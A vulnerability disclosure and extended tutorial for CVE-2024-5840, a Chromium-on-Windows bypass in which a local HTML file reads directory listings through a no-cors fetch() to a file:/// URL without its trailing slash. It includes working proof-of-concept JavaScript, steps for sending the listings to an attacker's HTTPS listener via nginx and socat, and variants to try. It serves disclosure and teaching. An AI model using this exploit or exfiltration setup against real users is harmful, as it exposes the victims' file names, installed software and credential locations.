Policy Bypass in CORS (CVE-2024-5840)
A limited same-origin policy bypass in Chromium-based browsers on Windows allowed a local HTML file to read directory listings via a no-cors fetch() to a file:/// URL without a trailing slash, which redirected and returned a readable response. An attacker could deliver a local HTML file to a victim and map parts of their hard drive, revealing sensitive filenames and metadata.
Originally disclosed on Chrome VRP
- Fix shipped in 5 months
VULNERABILITY DETAILS
Chrome (and other Chromium-based browsers) on Windows are vulnerable to an information disclosure vulnerability by way of a limited SOP bypass on no-cors fetch() requests for local directory listings which can be triggered from local html files. These local html trigger files can be delivered (prompted to download/open) directly to a victim from a site or an email client and do not present warning messages as html files are not present on most file extension blocklists. The vulnerability appears to only be present on Chrome and other Chromium-based browsers running on Windows; I did not exhaustively test other OS other than Linux. The latest version of Edge was also confirmed vulnerable using the exact same exploit.
Chrome treats each 'file:///' page as its own origin and isolated tab, and so attempts to retrieve the contents of other local files or directory listings returns an error indicating that SOP/CORS restrictions have prevented the request. Here is an example of proper enforcement:
t=await fetch('file://C:/users');
dirbleed.html:1 Access to fetch at 'file:///C:/users' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, isolated-app, chrome-extension, chrome, https, chrome-untrusted.
t=await fetch('file://C:/users/', {mode: 'no-cors'});
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}
From my research, I have discovered it is possible to bypass this protection by using a 'no-cors' fetch() call on a file:/// directory URL and omitting the trailing slash for the directory path for the URL. This results in a redirect to the file:/// URL containing the proper trailing forward slash, but in doing so the response type turns from 'opaque' to 'basic'. For example:
t=await fetch('file://C:/users/', {mode: 'no-cors'});
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}
t=await fetch('file://C:/users', {mode: 'no-cors'});
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}
Given the new response object type is 'basic', it can now be read from to retrieve the directory listing of any arbitrary directory path. From what I can tell, this is completely against the spec for 'no-cors' fetch() - all response objects should be 'opaque'. Each file entry in the directory listing contains the entry's name, timestamp, size, and whether or not the entry is a directory. Below is a minimized test case, demonstrating exploitation of the vulnerability from a file:/// context:
t=await fetch('file://C:/users', {mode: 'no-cors'});
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}body: ReadableStreamlocked: false[[Prototype]]: ReadableStreamcancel: ƒ cancel()getReader: ƒ getReader()locked: falsepipeThrough: ƒ pipeThrough()pipeTo: ƒ pipeTo()tee: ƒ tee()constructor: ƒ ReadableStream()Symbol(Symbol.toStringTag): "ReadableStream"get locked: ƒ locked()[[Prototype]]: ObjectbodyUsed: falseheaders: Headers {}ok: falseredirected: truestatus: 0statusText: ""type: "basic"url: "file:///C:/users/"[[Prototype]]: Response
let result = '';
const reader = t.body.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) {
break;
}
result += new TextDecoder("utf-8").decode(value);
}
const lines = result.split('\n');
console.log(lines.filter(line => line.includes('addRow')))
VM5484:1 (7) ['function addRow(name, url, isdir,', '\x3Cscript>addRow("All Users","All%20Users",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Default","Default",1,0,"0 B",1701939525,"12/7/23, 12:58:45 AM");\x3C/script>', '\x3Cscript>addRow("Default User","Default%20User",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Public","Public",1,0,"0 B",1701929253,"12/6/23, 10:07:33 PM");\x3C/script>', '\x3Cscript>addRow("user","user",1,0,"0 B",1702055666,"12/8/23, 9:14:26 AM");\x3C/script>', '\x3Cscript>addRow("desktop.ini","desktop.ini",0,174,"174 B",1575709962,"12/7/19, 1:12:42 AM");\x3C/script>']
The impact of this vulnerability is that an attacker can effectively map a victim's hard drive, checking for the contents of directories which may reveal sensitive pieces of information. Examples include: 3rd party software installed, file versions based off timestamp and file size, windows update timestamps, list of drivers, browser extensions, paths randomized for security reasons such as temporary or appdata files, credential file locations, list of recent files, and other potentially sensitive filenames. For example, an attacker may crawl source code or document folders to obtain paths and metadata. This can also be used to perform directory listings against UNC paths, including enumerating currently mounted drives (E$-Z$) and their directory contents. The partially weaponized exploit performs the enumerations listed above, as well as parsing entries to perform crawling for directories one level deep, it then POSTs it back to a webserver server over HTTPS.
REPRODUCTION CASE
I have provided a video of exploitation from my site as well as the html trigger file containing the exploit used.
- modify the html to point to your own HTTPS* listener (postURL variable)
- setup a simple nginx+socat listener to handle the HTTPS request:
- location /dirbleed/push { proxy_pass http://127.0.0.1:8888; } in your nginx config
- socat to catch the JSON formatted directory listing on the webserver: socat -T5 TCP4-LISTEN:8888,fork,reuseaddr STDOUT
- open the html file on a Windows host and observe the socat window scrolling for a little while (exploit not optimized for speed)
VERSION
Chrome 120.0.6099.225 (Official build) (64-bit) On Windows 10 22H2 - vulnerable
Chrome 106.0.5249.119 (Official build) (64-bit) On Windows 10 22H2 - vulnerable
Chrome 88.0.4324.146 (Official build) (64-bit) On Windows 10 22H2 - NOT vulnerable
Edge 120.0.2210.133 (Official build) (64-bit) On Windows 10 22H2 - vulnerable
CREDIT INFORMATION
Matt Howard
Context
Chrome, and other Chromium-based browsers, treat every file:/// page as its own origin and isolated tab. A page loaded from disk therefore cannot read the contents of other local files or directory listings: attempts are blocked by the same-origin policy and CORS, and the browser returns an error saying so. The report describes a way around that protection on Windows, using no-cors fetch() requests against local directory URLs, which lets a local HTML file read directory listings it should not be able to see.
The trigger is a local HTML file. It can be delivered to a victim from a website or an email client as a download or open prompt, and it does not raise warning messages because HTML files are not present on most file extension blocklists. The researcher states the issue appears to be present only on Chrome and other Chromium-based browsers running on Windows; other operating systems were not exhaustively tested apart from Linux. The latest version of Edge was confirmed vulnerable with the exact same exploit.
Setup
The vulnerable versions recorded in the report are:
| Browser | Version | OS | Result |
|---|---|---|---|
| Chrome | 120.0.6099.225 (Official build) (64-bit) | Windows 10 22H2 | vulnerable |
| Chrome | 106.0.5249.119 (Official build) (64-bit) | Windows 10 22H2 | vulnerable |
| Chrome | 88.0.4324.146 (Official build) (64-bit) | Windows 10 22H2 | NOT vulnerable |
| Edge | 120.0.2210.133 (Official build) (64-bit) | Windows 10 22H2 | vulnerable |
To reproduce, you need a Windows host with a vulnerable browser, the HTML trigger file containing the exploit, and an HTTPS listener you control. The trigger file is opened locally on the Windows host, so the exploit runs from a file:/// context.
Finding it
The starting point is the behaviour Chrome shows when a local page tries to read another local path. A normal fetch() to a directory is refused outright:
t=await fetch('file://C:/users');
dirbleed.html:1 Access to fetch at 'file:///C:/users' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, isolated-app, chrome-extension, chrome, https, chrome-untrusted.
Switching to no-cors mode does not give access either. The request completes, but the response is opaque, so its body cannot be read:
t=await fetch('file://C:/users/', {mode: 'no-cors'});
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}
The researcher found that the protection can be bypassed by making a no-cors fetch() call to a file:/// directory URL while omitting the trailing slash from the directory path. The browser then redirects to the same file:/// URL with the proper trailing forward slash, and in doing so the response type changes from opaque to basic. The two calls side by side show the difference:
t=await fetch('file://C:/users/', {mode: 'no-cors'});
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}
t=await fetch('file://C:/users', {mode: 'no-cors'});
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}
A basic response can be read, so the directory listing of an arbitrary directory path becomes accessible. The researcher notes that this is completely against the spec for no-cors fetch(): all response objects should be opaque.
Exploitation
Step 1: trigger the redirect and inspect the response
The minimised test case runs from a file:/// context and fetches a directory path without the trailing slash:
t=await fetch('file://C:/users', {mode: 'no-cors'});
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}body: ReadableStreamlocked: false[[Prototype]]: ReadableStreamcancel: ƒ cancel()getReader: ƒ getReader()locked: falsepipeThrough: ƒ pipeThrough()pipeTo: ƒ pipeTo()tee: ƒ tee()constructor: ƒ ReadableStream()Symbol(Symbol.toStringTag): "ReadableStream"get locked: ƒ locked()[[Prototype]]: ObjectbodyUsed: falseheaders: Headers {}ok: falseredirected: truestatus: 0statusText: ""type: "basic"url: "file:///C:/users/"[[Prototype]]: Response
The response is basic, redirected is true, and the URL is the directory with the trailing slash. The body is a readable ReadableStream, which is what makes the listing accessible.
Step 2: read the body and extract entries
The body is consumed with a reader and decoded as UTF-8, then split into lines. The lines containing addRow are the directory entries:
let result = '';
const reader = t.body.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) {
break;
}
result += new TextDecoder("utf-8").decode(value);
}
const lines = result.split('\n');
console.log(lines.filter(line => line.includes('addRow')))
VM5484:1 (7) ['function addRow(name, url, isdir,', '\x3Cscript>addRow("All Users","All%20Users",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Default","Default",1,0,"0 B",1701939525,"12/7/23, 12:58:45 AM");\x3C/script>', '\x3Cscript>addRow("Default User","Default%20User",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Public","Public",1,0,"0 B",1701929253,"12/6/23, 10:07:33 PM");\x3C/script>', '\x3Cscript>addRow("user","user",1,0,"0 B",1702055666,"12/8/23, 9:14:26 AM");\x3C/script>', '\x3Cscript>addRow("desktop.ini","desktop.ini",0,174,"174 B",1575709962,"12/7/19, 1:12:42 AM");\x3C/script>']
Each file entry in the directory listing contains the entry's name, timestamp, size, and whether or not the entry is a directory. In the output above, the third argument of addRow is the directory flag (1 for directories, 0 for files), followed by the size and the timestamp.
Step 3: deliver the trigger and collect the data
The partially weaponised exploit performs the enumerations described under Impact, parses entries to crawl directories one level deep, and POSTs the result back to a web server over HTTPS. The reproduction case is:
- modify the html to point to your own HTTPS* listener (postURL variable)
- setup a simple nginx+socat listener to handle the HTTPS request:
- location /dirbleed/push { proxy_pass http://[redacted]:8888; } in your nginx config
- socat to catch the JSON formatted directory listing on the webserver: socat -T5 TCP4-LISTEN:8888,fork,reuseaddr STDOUT
- open the html file on a Windows host and observe the socat window scrolling for a little while (exploit not optimized for speed)
The nginx location forwards /dirbleed/push to a local port, and socat prints the JSON-formatted directory listing that arrives there. The researcher also provided the HTML trigger file containing the exploit used.
Root cause
The flaw is in how the browser handles a no-cors fetch to a file:/// directory URL that lacks the trailing slash. The request is redirected to the canonical URL with the trailing slash, and the response that comes back is typed basic rather than opaque. A basic response is readable, so the directory listing can be read from the body. The researcher's view is that this contradicts the spec, under which all no-cors responses should be opaque. The report does not explain why the redirected response is typed basic instead of opaque. The report does not describe the underlying code change.
Impact
An attacker can map a victim's hard drive by checking the contents of directories, which may reveal sensitive pieces of information. Examples given include:
- third party software installed
- file versions based off timestamp and file size
- Windows update timestamps
- list of drivers
- browser extensions
- paths randomised for security reasons, such as temporary or appdata files
- credential file locations
- list of recent files
- other potentially sensitive filenames
An attacker may crawl source code or document folders to obtain paths and metadata. The technique can also be used to perform directory listings against UNC paths, including enumerating currently mounted drives (E$-Z$) and their directory contents.
The attack requires the victim to open a local HTML file delivered from a site or an email client, on Windows, in a vulnerable Chromium-based browser. The researcher states the issue appears to be present only on Windows and did not exhaustively test other operating systems apart from Linux.
Fix
Based on the finding, the expected behaviour is that a no-cors fetch to a file:/// directory URL, including one that redirects to the trailing-slash form, should return an opaque response, consistent with the spec, so that the body cannot be read.
Variants to test
- Fetch a directory path without the trailing slash in
no-corsmode from afile:///page on other Chromium-based browsers and versions. A positive result is a response withtype: 'basic'andredirected: truewhose body containsaddRowentries. - Try the same pattern against UNC paths and mounted drive letters (E$-Z$). A positive result is a readable listing of those paths.
- Try other redirecting local URL forms (for example paths that normalise to a directory) to see whether the response type changes from
opaquetobasic. A positive result is any readable body from ano-corsrequest. - Test on non-Windows platforms, which the researcher did not exhaustively cover. A positive result is the same
basicresponse and readable listing on those platforms.
What happened, in plain words
A security researcher found a way for a web page saved on your computer to peek at the folders on your hard drive, even though the browser is supposed to stop exactly that. The trick works in Chrome and other browsers built on the same engine (Chromium), on Windows. The researcher reported it to Google's Chrome bug bounty programme, and it was disclosed on 11 June 2024 under the identifier CVE-2024-5840. The bounty paid was 5,000 USD and the severity was rated medium.
To understand the problem you need three ideas.
First, a browser is the program you use to view websites. Under the bonnet it also has rules about what one page is allowed to see. The most important rule is the same-origin policy (SOP). Think of it like a building where every office has its own key: a page from one website cannot read the contents of another website. Without this rule, any website you visit could read your email, your bank page, or anything else you have open.
Second, a file:/// URL is how a browser refers to a file on your own computer rather than on the internet. When you double-click an HTML file and it opens in Chrome, the address bar shows something like file:///C:/something.html. Chrome treats every such local page as its own separate origin, like a separate office with its own key. So a local page is not supposed to read other local files or folders either.
Third, CORS stands for Cross-Origin Resource Sharing. It is the mechanism that lets a server say, in a controlled way, "yes, this other page is allowed to read my data". When a page tries to read something it is not allowed to, the browser blocks it and prints an error mentioning CORS. The researcher's finding is a policy bypass: a way to get around that rule. A bypass does not break the encryption or the password; it simply finds a path where the rule is not applied.
The trigger is a local HTML file. HTML is the language web pages are written in, and an HTML file is just a text file with a .html ending that a browser knows how to display. The researcher's file contains a small script that asks the browser to list folders. It can be delivered to a victim from a website or an email client as a download or an open prompt. It does not raise warning messages because HTML files are not on most blocklists of dangerous file extensions. Blocklists are lists of file types (like .exe) that email systems and browsers refuse or warn about; .html is usually not on them because it is so common.
The researcher says the issue appears to be present only on Chrome and other Chromium-based browsers running on Windows. Other operating systems were not exhaustively tested apart from Linux. The latest version of Edge was also confirmed vulnerable using the exact same exploit.
Setup
The vulnerable versions recorded in the report are:
| Browser | Version | OS | Result |
|---|---|---|---|
| Chrome | 120.0.6099.225 (Official build) (64-bit) | Windows 10 22H2 | vulnerable |
| Chrome | 106.0.5249.119 (Official build) (64-bit) | Windows 10 22H2 | vulnerable |
| Chrome | 88.0.4324.146 (Official build) (64-bit) | Windows 10 22H2 | NOT vulnerable |
| Edge | 120.0.2210.133 (Official build) (64-bit) | Windows 10 22H2 | vulnerable |
A version is the number that identifies which release of a program you have. You can see it in Chrome by opening the menu and choosing "About Chrome". The table tells you that older Chrome 88 was safe, while Chrome 106 and 120 were not, and that Edge 120 was affected too. A build is a particular compiled copy of the program; "Official build (64-bit)" means the normal release for 64-bit Windows.
To reproduce, you need a Windows host with a vulnerable browser, the HTML trigger file containing the exploit, and an HTTPS listener you control. A host is just a computer. An HTTPS listener is a small program on a server that waits for incoming encrypted web requests and records them. HTTPS is the encrypted version of the web protocol HTTP, the one that puts the padlock in the address bar. The trigger file is opened locally on the Windows host, so the exploit runs from a file:/// context, meaning the page's own address starts with file:///.
Finding it
The starting point is the behaviour Chrome shows when a local page tries to read another local path. A normal fetch() to a directory is refused outright. fetch() is a JavaScript function that asks the browser to go and get something, like a waiter taking an order to the kitchen. JavaScript is the programming language that runs inside web pages and makes them interactive. A directory is a folder.
t=await fetch('file://C:/users');
dirbleed.html:1 Access to fetch at 'file:///C:/users' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, isolated-app, chrome-extension, chrome, https, chrome-untrusted.
Line by line:
t=await fetch('file://C:/users');asks the browser to fetch the folderC:/usersand stores the result in a variable calledt.awaitmeans "wait for the answer before continuing".- The second line is the browser's own error message. It says the request was blocked by CORS policy. It also says cross-origin requests are only supported for certain protocol schemes, and
fileis not among them. A protocol scheme is the part before://in a URL, such ashttporhttps; it tells the browser how to talk. The message namesdirbleed.html:1, meaning line 1 of the filedirbleed.html, which is the local page doing the asking.
Switching to no-cors mode does not give access either. Mode is an option on a fetch that says what kind of request this is. no-cors means "I am not asking to read the answer; I just want to send the request". The browser is supposed to hand back an opaque response, which is a sealed box: you can see that a box arrived, but you cannot open it. The request completes, but the response is opaque, so its body cannot be read.
t=await fetch('file://C:/users/', {mode: 'no-cors'});
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}
Line by line:
t=await fetch('file://C:/users/', {mode: 'no-cors'});fetches the folderC:/users/, this time with a trailing slash and inno-corsmode. The trailing slash is the/at the end.- The second line is what the browser returned.
type: 'opaque'means the sealed box.url: ''is empty, so you are not even told where it came from.redirected: falsemeans no redirect happened. A redirect is when the browser is told "the thing you asked for is actually over there" and goes to a second address.status: 0is not a real HTTP status code; for opaque responses the browser hides the status.ok: falsemeans the request is not considered successful.
The researcher found that the protection can be bypassed by making a no-cors fetch() call to a file:/// directory URL while omitting the trailing slash from the directory path. The browser then redirects to the same file:/// URL with the proper trailing forward slash, and in doing so the response type changes from opaque to basic. A basic response is an open box: the page is allowed to read its body. The two calls side by side show the difference:
t=await fetch('file://C:/users/', {mode: 'no-cors'});
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}
t=await fetch('file://C:/users', {mode: 'no-cors'});
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}
Line by line:
- The first pair is the same as before: trailing slash,
no-cors, and the answer isopaque. - The second pair drops the trailing slash:
file://C:/usersinstead offile://C:/users/. The answer now hastype: 'basic', so it can be read.url: 'file:///C:/users/'shows the address the browser ended up at, with the slash added back.redirected: trueconfirms a redirect happened.status: 0andok: falseare still there, but they no longer matter, because the body is readable.
A basic response can be read, so the directory listing of an arbitrary directory path becomes accessible. A directory listing is the page a browser shows when you open a folder: a list of the files and subfolders inside it, with names, sizes and dates. The researcher notes that this is completely against the spec for no-cors fetch(): all response objects should be opaque. A spec is the written standard that says how a technology must behave; browsers are expected to follow it.
Exploitation
Step 1: trigger the redirect and inspect the response
The minimised test case runs from a file:/// context and fetches a directory path without the trailing slash:
t=await fetch('file://C:/users', {mode: 'no-cors'});
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}body: ReadableStreamlocked: false[[Prototype]]: ReadableStreamcancel: ƒ cancel()getReader: ƒ getReader()locked: falsepipeThrough: ƒ pipeThrough()pipeTo: ƒ pipeTo()tee: ƒ tee()constructor: ƒ ReadableStream()Symbol(Symbol.toStringTag): "ReadableStream"get locked: ƒ locked()[[Prototype]]: ObjectbodyUsed: falseheaders: Headers {}ok: falseredirected: truestatus: 0statusText: ""type: "basic"url: "file:///C:/users/"[[Prototype]]: Response
Line by line:
t=await fetch('file://C:/users', {mode: 'no-cors'});is the same trick: fetch the folder without the trailing slash, inno-corsmode.- The long block is the browser's developer console showing the response object expanded. A developer console is a panel in the browser (usually opened with F12) where you can run JavaScript and see messages. The important fields are
type: "basic",redirected: trueandurl: "file:///C:/users/". body: ReadableStreamis the key part. A stream is data that arrives in pieces, like water from a tap rather than a full bucket.ReadableStreammeans the page can read those pieces.getReader: ƒ getReader()is the function that gives you a handle to read them.locked: falsemeans nobody is reading it yet.bodyUsed: falsemeans the body has not been consumed.headers: Headers {}is an empty set of headers; headers are the labels attached to a request or response, such as the content type.
The response is basic, redirected is true, and the URL is the directory with the trailing slash. The body is a readable ReadableStream, which is what makes the listing accessible.
Step 2: read the body and extract entries
The body is consumed with a reader and decoded as UTF-8, then split into lines. UTF-8 is the standard way of turning text into bytes and back, so decoding means turning the raw bytes into readable characters. The lines containing addRow are the directory entries:
let result = '';
const reader = t.body.getReader();
while (true) {
const { done, value } = await reader.read();
if (done) {
break;
}
result += new TextDecoder("utf-8").decode(value);
}
const lines = result.split('\n');
console.log(lines.filter(line => line.includes('addRow')))
VM5484:1 (7) ['function addRow(name, url, isdir,', '\x3Cscript>addRow("All Users","All%20Users",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Default","Default",1,0,"0 B",1701939525,"12/7/23, 12:58:45 AM");\x3C/script>', '\x3Cscript>addRow("Default User","Default%20User",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Public","Public",1,0,"0 B",1701929253,"12/6/23, 10:07:33 PM");\x3C/script>', '\x3Cscript>addRow("user","user",1,0,"0 B",1702055666,"12/8/23, 9:14:26 AM");\x3C/script>', '\x3Cscript>addRow("desktop.ini","desktop.ini",0,174,"174 B",1575709962,"12/7/19, 1:12:42 AM");\x3C/script>']
Line by line:
let result = '';creates an empty piece of text to collect the answer.const reader = t.body.getReader();asks the response body for a reader, the handle that lets you pull pieces out.while (true) {starts a loop that keeps going until told to stop.const { done, value } = await reader.read();reads the next piece.donesays whether the stream has finished, andvalueholds the bytes of this piece.if (done) { break; }stops the loop when there is nothing left.result += new TextDecoder("utf-8").decode(value);turns the bytes into text and adds them toresult.const lines = result.split('\n');cuts the whole text into separate lines at every newline character (\n).console.log(lines.filter(line => line.includes('addRow')))prints only the lines that contain the wordaddRow.console.logprints to the developer console.filterkeeps the lines that match a test, andincludeschecks whether a piece of text appears inside another.- The last line is the console output: seven lines, each containing an
addRowcall.VM5484:1is just the console's label for where the code ran.
Each file entry in the directory listing contains the entry's name, timestamp, size, and whether or not the entry is a directory. In the output above, the third argument of addRow is the directory flag (1 for directories, 0 for files), followed by the size and the timestamp. For example, addRow("All Users","All%20Users",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM") is a folder called All Users, size 0 B, with a timestamp. addRow("desktop.ini","desktop.ini",0,174,"174 B",1575709962,"12/7/19, 1:12:42 AM") is a file, size 174 B. The \x3C in the output is just an escaped < character, so \x3Cscript> is <script>.
Step 3: deliver the trigger and collect the data
The partially weaponised exploit performs the enumerations described under Impact, parses entries to crawl directories one level deep, and POSTs the result back to a web server over HTTPS. Enumerating means listing things one by one. Crawling means following links or entries to find more, here going one level deeper into subfolders. POST is the HTTP method used to send data to a server, as opposed to GET, which asks for data. The reproduction case is:
- modify the html to point to your own HTTPS* listener (postURL variable)
- setup a simple nginx+socat listener to handle the HTTPS request:
- location /dirbleed/push { proxy_pass http://[redacted]:8888; } in your nginx config
- socat to catch the JSON formatted directory listing on the webserver: socat -T5 TCP4-LISTEN:8888,fork,reuseaddr STDOUT
- open the html file on a Windows host and observe the socat window scrolling for a little while (exploit not optimized for speed)
Step by step:
- The HTML file has a variable called
postURLthat says where to send the stolen listing. You change it to your own server. A variable is a named box in a program that holds a value. - You set up a listener. nginx is a popular web server program. socat is a small tool that connects two things together; here it prints whatever arrives on a network port to the screen. A port is a numbered door on a computer that network traffic goes through;
8888is the one used here. The nginx linelocation /dirbleed/push { proxy_pass http://[redacted]:8888; }says: when a request arrives for the path/dirbleed/push, forward it to[redacted](the same machine) on port8888.proxy_passis nginx's instruction to forward. The socat commandsocat -T5 TCP4-LISTEN:8888,fork,reuseaddr STDOUTlistens on TCP port 8888, accepts connections (fork), allows the port to be reused (reuseaddr), and prints what it receives to the screen (STDOUT).-T5sets a five-second timeout. - You open the HTML file on the Windows host and watch the socat window scroll. The exploit is not optimised for speed, so it takes a little while. JSON is a simple text format for structured data, like a shopping list with labels; the listing arrives formatted that way.
The nginx location forwards /dirbleed/push to a local port, and socat prints the JSON-formatted directory listing that arrives there. The researcher also provided the HTML trigger file containing the exploit used.
Root cause
The flaw is in how the browser handles a no-cors fetch to a file:/// directory URL that lacks the trailing slash. The request is redirected to the canonical URL with the trailing slash, and the response that comes back is typed basic rather than opaque. Canonical means the standard, official form of an address. A basic response is readable, so the directory listing can be read from the body. The researcher's view is that this contradicts the spec, under which all no-cors responses should be opaque. The report does not explain why the redirected response is typed basic instead of opaque. The report does not describe the underlying code change.
Impact
An attacker can map a victim's hard drive by checking the contents of directories, which may reveal sensitive pieces of information. Mapping here means building a picture of what is on the disk. Examples given include:
- third party software installed
- file versions based off timestamp and file size
- Windows update timestamps
- list of drivers
- browser extensions
- paths randomised for security reasons, such as temporary or appdata files
- credential file locations
- list of recent files
- other potentially sensitive filenames
A driver is software that lets the operating system talk to hardware. A browser extension is an add-on that changes how the browser behaves. AppData is a hidden Windows folder where programs keep their settings and data. Credentials are the usernames, passwords and keys that prove who you are. Knowing which software and versions are installed, and where credential files live, helps an attacker plan a follow-up attack.
An attacker may crawl source code or document folders to obtain paths and metadata. Metadata is data about data: here, names, sizes and dates rather than the contents of files. The technique can also be used to perform directory listings against UNC paths, including enumerating currently mounted drives (E$-Z$) and their directory contents. A UNC path is a Windows address for a shared folder on the network, written with two backslashes at the start. A mounted drive is a disk or share that appears with a letter like E:. The notation E$-Z$ refers to mounted drives with letters from E to Z.
The attack requires the victim to open a local HTML file delivered from a site or an email client, on Windows, in a vulnerable Chromium-based browser. The researcher states the issue appears to be present only on Windows and did not exhaustively test other operating systems apart from Linux.
Fix
Based on the finding, the expected behaviour is that a no-cors fetch to a file:/// directory URL, including one that redirects to the trailing-slash form, should return an opaque response, consistent with the spec, so that the body cannot be read.
Variants to test
- Fetch a directory path without the trailing slash in
no-corsmode from afile:///page on other Chromium-based browsers and versions. A positive result is a response withtype: 'basic'andredirected: truewhose body containsaddRowentries. - Try the same pattern against UNC paths and mounted drive letters (E$-Z$). A positive result is a readable listing of those paths.
- Try other redirecting local URL forms (for example paths that normalise to a directory) to see whether the response type changes from
opaquetobasic. A positive result is any readable body from ano-corsrequest. Normalise means tidying an address into its standard form, for example by adding a missing slash. - Test on non-Windows platforms, which the researcher did not exhaustively cover. A positive result is the same
basicresponse and readable listing on those platforms.
Glossary
- Browser: the program you use to view websites, such as Chrome or Edge.
- Same-origin policy (SOP): the browser rule that one page cannot read another page's data unless they share an origin.
- Origin: the combination of scheme, host and port that identifies where a page came from.
- file:/// URL: an address that points to a file or folder on your own computer.
- CORS: Cross-Origin Resource Sharing, the mechanism that lets a server permit another page to read its data.
- Policy bypass: getting around a security rule without breaking the underlying technology.
- HTML: the language web pages are written in; an HTML file is a text file a browser can display.
- Blocklist: a list of file types or addresses that a system refuses or warns about.
- Chromium: the open-source browser engine that Chrome and Edge are built on.
- Version: the number identifying a particular release of a program.
- Build: a particular compiled copy of a program.
- Host: a computer.
- HTTPS listener: a small program on a server that waits for encrypted web requests and records them.
- HTTP / HTTPS: the protocol browsers use to talk to servers; HTTPS is the encrypted version.
- fetch(): a JavaScript function that asks the browser to go and get something.
- JavaScript: the programming language that runs inside web pages.
- Directory: a folder.
- Protocol scheme: the part of a URL before
://, such ashttporhttps. - Mode (no-cors): a fetch option meaning the page does not ask to read the answer.
- Opaque response: a response the page is not allowed to read, like a sealed box.
- Basic response: a response the page is allowed to read.
- Redirect: when the browser is sent to a second address for the thing it asked for.
- Status code: the number a server returns to say how a request went.
- Directory listing: the page showing the files and folders inside a folder.
- Spec: the written standard that says how a technology must behave.
- Developer console: a browser panel where you can run JavaScript and see messages.
- Stream / ReadableStream: data that arrives in pieces and can be read piece by piece.
- Headers: the labels attached to a request or response.
- UTF-8: the standard way of turning text into bytes and back.
- Enumerating: listing things one by one.
- Crawling: following entries or links to find more.
- POST: the HTTP method used to send data to a server.
- Variable: a named box in a program that holds a value.
- nginx: a popular web server program.
- socat: a small tool that connects two things, here printing network traffic to the screen.
- Port: a numbered door on a computer that network traffic goes through.
- Proxy pass: an nginx instruction to forward a request to another address.
- JSON: a simple text format for structured data.
- Canonical: the standard, official form of an address.
- Driver: software that lets the operating system talk to hardware.
- Browser extension: an add-on that changes how the browser behaves.
- AppData: a hidden Windows folder where programs keep settings and data.
- Credentials: usernames, passwords and keys that prove who you are.
- Metadata: data about data, such as names, sizes and dates.
- UNC path: a Windows address for a shared folder on the network, starting with two backslashes.
- Mounted drive: a disk or share that appears with a letter like
E:. - Normalise: tidy an address into its standard form.
- CVE: a public identifier for a known security vulnerability.